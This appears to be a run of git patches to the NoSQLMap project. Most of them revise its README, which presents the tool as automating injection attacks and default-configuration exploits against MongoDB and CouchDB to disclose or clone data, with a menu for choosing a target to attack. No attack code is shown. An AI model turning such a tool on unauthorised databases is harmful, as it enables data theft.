 1 file changed, 11 deletions(-)
 delete mode 100644 .idea/NoSQLMap-v0.5.iml

diff --git a/.idea/NoSQLMap-v0.5.iml b/.idea/NoSQLMap-v0.5.iml
deleted file mode 100644
index 6711606..0000000
--- a/.idea/NoSQLMap-v0.5.iml
+++ /dev/null
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<module type="PYTHON_MODULE" version="4">
-  <component name="NewModuleRootManager">
-    <content url="file://$MODULE_DIR$" />
-    <orderEntry type="inheritedJdk" />
-    <orderEntry type="sourceFolder" forTests="false" />
-  </component>
-  <component name="TestRunnerService">
-    <option name="PROJECT_TEST_RUNNER" value="Unittests" />
-  </component>
-</module>
\ No newline at end of file

From 447227e3f1ac2f21a1ea8531ae60541e89bea3d8 Mon Sep 17 00:00:00 2001
From: Michael <codingo@outlook.com>
Date: Thu, 24 Aug 2017 11:02:01 +1000
Subject: [PATCH 12/68] Removing redundant file

---
 __init__.py | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 delete mode 100644 __init__.py

diff --git a/__init__.py b/__init__.py
deleted file mode 100644
index e69de29..0000000

From adb555b6b3da7a8916eca129feea28ad8992d056 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:05:16 +1000
Subject: [PATCH 13/68] Create ISSUE_TEMPLATE.md

---
 ISSUE_TEMPLATE.md | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)
 create mode 100644 ISSUE_TEMPLATE.md

diff --git a/ISSUE_TEMPLATE.md b/ISSUE_TEMPLATE.md
new file mode 100644
index 0000000..92018da
--- /dev/null
+++ b/ISSUE_TEMPLATE.md
@@ -0,0 +1,25 @@
+## What's the problem (or question)?
+<!--- If describing a bug, tell us what happens instead of the expected behavior -->
+<!--- If suggesting a change/improvement, explain the difference from current behavior -->
+
+## Do you have an idea for a solution?
+<!--- Not obligatory, but suggest a fix/reason for the bug, -->
+<!--- or ideas how to implement the addition or change -->
+
+## How can we reproduce the issue?
+<!--- Provide unambiguous set of steps to reproduce this bug. Include command to reproduce, if relevant (you can mask the sensitive data) -->
+1.
+2.
+3.
+4.
+
+## What are the running context details?
+<!--- Include as many relevant details about the running context you experienced the bug/problem in -->
+* Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`):
+* Client OS (e.g. `Microsoft Windows 10`)
+* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation): 
+* Target DBMS (e.g. `Mongo`): 
+* Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`):
+* Results of manual target assessment
+* Relevant console output (if any):
+* Exception traceback (if any):

From 6628cfc7544c9f70bd60c5da661e249254397012 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 01:14:04 +0000
Subject: [PATCH 14/68] Add files via upload

---
 screenshots/NoSQLMap-v0-5.jpg | Bin 0 -> 87195 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 screenshots/NoSQLMap-v0-5.jpg

diff --git a/screenshots/NoSQLMap-v0-5.jpg b/screenshots/NoSQLMap-v0-5.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..e37370ae85147314bbb59a33e616eacc614430c9
GIT binary patch

From b17ededce96aae3f0f3d954ceada382767211be9 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:16:16 +1000
Subject: [PATCH 15/68] Update README.md

---
 README.md | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/README.md b/README.md
index f69aa31..a7a527c 100644
--- a/README.md
+++ b/README.md
@@ -6,6 +6,9 @@ NoSQLMap
 # Introduction
 NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database.  
 
+# Screenshots
+![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg)
+
 ## What is NoSQL?
 A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages.
 
@@ -34,6 +37,11 @@ python setup.py install
 
 # Usage
 
+## NoSQLMap MongoDB Management Attack Demo.
+
+<a href="http://www.youtube.com/watch?feature=player_embedded&v=xSFi-jxOBwM" target="_blank"><img src="http://img.youtube.com/vi/xSFi-jxOBwM/0.jpg" alt="NoSQLMap MongoDB Management Attack Demo" width="240" height="180" border="10" /></a> 
+
+## Usage Instructions
 -Start with
 
 ```
@@ -65,11 +73,4 @@ Explanation of options:
 x. Back to main menu-Use this once the options are set to start your attacks.
 ```
 
-Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to nosqlmap@gmail.com or find me on Twitter [@tcstoolHax0r](https://twitter.com/tcstoolHax0r) if you have any questions or suggestions. 
-
-Video
-=====
-
-NoSQLMap MongoDB Management Attack Demo.
-
-<a href="http://www.youtube.com/watch?feature=player_embedded&v=xSFi-jxOBwM" target="_blank"><img src="http://img.youtube.com/vi/xSFi-jxOBwM/0.jpg" alt="NoSQLMap MongoDB Management Attack Demo" width="240" height="180" border="10" /></a> 
+Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo_](https://twitter.com/codingo_) if you have any questions or suggestions. 

From 103648589b7cfee0991b9f1427d0072799f5cc82 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:21:17 +1000
Subject: [PATCH 16/68] Update README.md

---
 README.md | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/README.md b/README.md
index a7a527c..eb57138 100644
--- a/README.md
+++ b/README.md
@@ -1,10 +1,7 @@
 NoSQLMap 
 ========
 
-[NoSQLMap](http://www.nosqlmap.net) v0.7
-
-# Introduction
-NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database.  
+NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.
 
 # Screenshots
 ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg)
@@ -13,7 +10,7 @@ NoSQLMap is an open source Python tool designed to audit for as well as automate
 A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages.
 
 ## Credits 
-NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
+Originally authored by [tcsstool](https://twitter.com/tcstoolHax0r) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
 
 ## DBMS Support
 Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases.

From 7f4154f0df624f8d8e0746540cea322116eb2d74 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:22:22 +1000
Subject: [PATCH 17/68] Update README.md

---
 README.md | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index eb57138..d12eb58 100644
--- a/README.md
+++ b/README.md
@@ -6,11 +6,12 @@ NoSQLMap is an open source Python tool designed to audit for as well as automate
 # Screenshots
 ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg)
 
+## About / Credits 
+Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
+
 ## What is NoSQL?
 A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages.
 
-## Credits 
-Originally authored by [tcsstool](https://twitter.com/tcstoolHax0r) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
 
 ## DBMS Support
 Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases.

From 6badd8db3d000b8136294bd8f93081ccc59a5c81 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:23:23 +1000
Subject: [PATCH 18/68] Update README.md

---
 README.md | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/README.md b/README.md
index d12eb58..eb15fa4 100644
--- a/README.md
+++ b/README.md
@@ -6,9 +6,10 @@ NoSQLMap is an open source Python tool designed to audit for as well as automate
 # Screenshots
 ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg)
 
-## About / Credits 
-Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
+# About / Credits 
+Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
 
+# Summary
 ## What is NoSQL?
 A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages.
 
@@ -16,7 +17,7 @@ A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL")
 ## DBMS Support
 Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases.
 
-# Requirements 
+## Requirements 
 On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies.  
 
 Varies based on features used:
@@ -28,18 +29,18 @@ Varies based on features used:
 
 There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script.  
 
-# Setup
+## Setup
 ```
 python setup.py install
 ```
 
-# Usage
+## Usage
 
-## NoSQLMap MongoDB Management Attack Demo.
+### NoSQLMap MongoDB Management Attack Demo.
 
 <a href="http://www.youtube.com/watch?feature=player_embedded&v=xSFi-jxOBwM" target="_blank"><img src="http://img.youtube.com/vi/xSFi-jxOBwM/0.jpg" alt="NoSQLMap MongoDB Management Attack Demo" width="240" height="180" border="10" /></a> 
 
-## Usage Instructions
+### Usage Instructions
 -Start with
 
 ```

From cd1683758fbac9f2724c55d42f94ac4f02628368 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:24:44 +1000
Subject: [PATCH 19/68] Update README.md

---
 README.md | 19 +++++++------------
 1 file changed, 7 insertions(+), 12 deletions(-)

diff --git a/README.md b/README.md
index eb15fa4..6f5314e 100644
--- a/README.md
+++ b/README.md
@@ -3,6 +3,10 @@ NoSQLMap
 
 NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.
 
+# NoSQLMap MongoDB Management Attack Demo.
+
+<a href="http://www.youtube.com/watch?feature=player_embedded&v=xSFi-jxOBwM" target="_blank"><img src="http://img.youtube.com/vi/xSFi-jxOBwM/0.jpg" alt="NoSQLMap MongoDB Management Attack Demo" width="240" height="180" border="10" /></a> 
+
 # Screenshots
 ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg)
 
@@ -13,7 +17,6 @@ Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now mai
 ## What is NoSQL?
 A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages.
 
-
 ## DBMS Support
 Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases.
 
@@ -34,17 +37,10 @@ There are some various other libraries required that a normal Python installatio
 python setup.py install
 ```
 
-## Usage
-
-### NoSQLMap MongoDB Management Attack Demo.
-
-<a href="http://www.youtube.com/watch?feature=player_embedded&v=xSFi-jxOBwM" target="_blank"><img src="http://img.youtube.com/vi/xSFi-jxOBwM/0.jpg" alt="NoSQLMap MongoDB Management Attack Demo" width="240" height="180" border="10" /></a> 
-
-### Usage Instructions
--Start with
-
+## Usage Instructions
+Start with
 ```
-NoSQLMap
+python NoSQLMap
 ```
 
 NoSQLMap uses a menu based system for building attacks.  Upon starting NoSQLMap you are presented with with the main menu:
@@ -57,7 +53,6 @@ NoSQLMap uses a menu based system for building attacks.  Upon starting NoSQLMap
 x-Exit
 ```
 
-
 Explanation of options:
 ```
 1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack.

From b722121a8f0544a746c5c29a1031e50b881fcf7e Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:25:02 +1000
Subject: [PATCH 20/68] Update README.md

---
 README.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/README.md b/README.md
index 6f5314e..607eafe 100644
--- a/README.md
+++ b/README.md
@@ -3,14 +3,14 @@ NoSQLMap
 
 NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.
 
-# NoSQLMap MongoDB Management Attack Demo.
+## NoSQLMap MongoDB Management Attack Demo.
 
 <a href="http://www.youtube.com/watch?feature=player_embedded&v=xSFi-jxOBwM" target="_blank"><img src="http://img.youtube.com/vi/xSFi-jxOBwM/0.jpg" alt="NoSQLMap MongoDB Management Attack Demo" width="240" height="180" border="10" /></a> 
 
-# Screenshots
+## Screenshots
 ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg)
 
-# About / Credits 
+## About / Credits 
 Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
 
 # Summary

From 9b88315a44de330566521a9449492825e725b4bf Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:25:55 +1000
Subject: [PATCH 21/68] Update README.md

---
 README.md | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 607eafe..fda6aef 100644
--- a/README.md
+++ b/README.md
@@ -3,6 +3,8 @@ NoSQLMap
 
 NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.
 
+Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
+
 ## NoSQLMap MongoDB Management Attack Demo.
 
 <a href="http://www.youtube.com/watch?feature=player_embedded&v=xSFi-jxOBwM" target="_blank"><img src="http://img.youtube.com/vi/xSFi-jxOBwM/0.jpg" alt="NoSQLMap MongoDB Management Attack Demo" width="240" height="180" border="10" /></a> 
@@ -10,8 +12,7 @@ NoSQLMap is an open source Python tool designed to audit for as well as automate
 ## Screenshots
 ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg)
 
-## About / Credits 
-Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
+
 
 # Summary
 ## What is NoSQL?

From 564d31762b2d2f56d5acaa78566b983ec87c1a0e Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:28:58 +1000
Subject: [PATCH 22/68] Update README.md

---
 README.md | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/README.md b/README.md
index fda6aef..488852c 100644
--- a/README.md
+++ b/README.md
@@ -12,14 +12,12 @@ Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now mai
 ## Screenshots
 ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg)
 
-
-
 # Summary
 ## What is NoSQL?
 A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages.
 
 ## DBMS Support
-Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases.
+Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as Redis, and Cassandra are planned in future releases.
 
 ## Requirements 
 On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies.  

From 1840b669fd99e23938e6d5572511614d7edaa809 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:36:17 +1000
Subject: [PATCH 23/68] Update README.md

---
 README.md | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 488852c..719c61a 100644
--- a/README.md
+++ b/README.md
@@ -1,10 +1,9 @@
 NoSQLMap 
 ========
-
 NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.
 
 Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
-
+[Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg)  [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_)
 ## NoSQLMap MongoDB Management Attack Demo.
 
 <a href="http://www.youtube.com/watch?feature=player_embedded&v=xSFi-jxOBwM" target="_blank"><img src="http://img.youtube.com/vi/xSFi-jxOBwM/0.jpg" alt="NoSQLMap MongoDB Management Attack Demo" width="240" height="180" border="10" /></a> 

From f353e10de7467e37ab4625442b00b4cfaf092822 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:36:53 +1000
Subject: [PATCH 24/68] Update README.md

---
 README.md | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 719c61a..ba9d8b9 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,8 @@ NoSQLMap
 NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.
 
 Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
-[Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg)  [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_)
+
+[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg)  [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_)
 ## NoSQLMap MongoDB Management Attack Demo.
 
 <a href="http://www.youtube.com/watch?feature=player_embedded&v=xSFi-jxOBwM" target="_blank"><img src="http://img.youtube.com/vi/xSFi-jxOBwM/0.jpg" alt="NoSQLMap MongoDB Management Attack Demo" width="240" height="180" border="10" /></a> 

From 0d4073fbf857e2ddd8276ef5b53978c4c2b250a6 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:38:12 +1000
Subject: [PATCH 25/68] Update README.md

---
 README.md | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index ba9d8b9..bd931b5 100644
--- a/README.md
+++ b/README.md
@@ -1,10 +1,12 @@
 NoSQLMap 
 ========
+[![Python 2.6|2.7(https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg)  [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_)
+
 NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.
 
 Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
 
-[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg)  [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_)
+
 ## NoSQLMap MongoDB Management Attack Demo.
 
 <a href="http://www.youtube.com/watch?feature=player_embedded&v=xSFi-jxOBwM" target="_blank"><img src="http://img.youtube.com/vi/xSFi-jxOBwM/0.jpg" alt="NoSQLMap MongoDB Management Attack Demo" width="240" height="180" border="10" /></a> 

From b97671bdf215d269f0c095182d2ef350156434ac Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:38:27 +1000
Subject: [PATCH 26/68] Update README.md

---
 README.md | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/README.md b/README.md
index bd931b5..f53f6a6 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,6 @@
 NoSQLMap 
 ========
-[![Python 2.6|2.7(https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg)  [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_)
-
+[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg)  [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_)
 NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.
 
 Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).

From ce68212e90b2ae6d3f4a866d6458303c3ad90291 Mon Sep 17 00:00:00 2001
From: Michael <michael@codingo.com.au>
Date: Thu, 24 Aug 2017 11:40:15 +1000
Subject: [PATCH 27/68] Update README.md

---
 README.md | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index f53f6a6..5db974f 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,9 @@
 NoSQLMap 
 ========
-[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPL3-_red.svg)  [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_)
+[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) 
+[![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING)
+[![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_)
+
 NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.
 
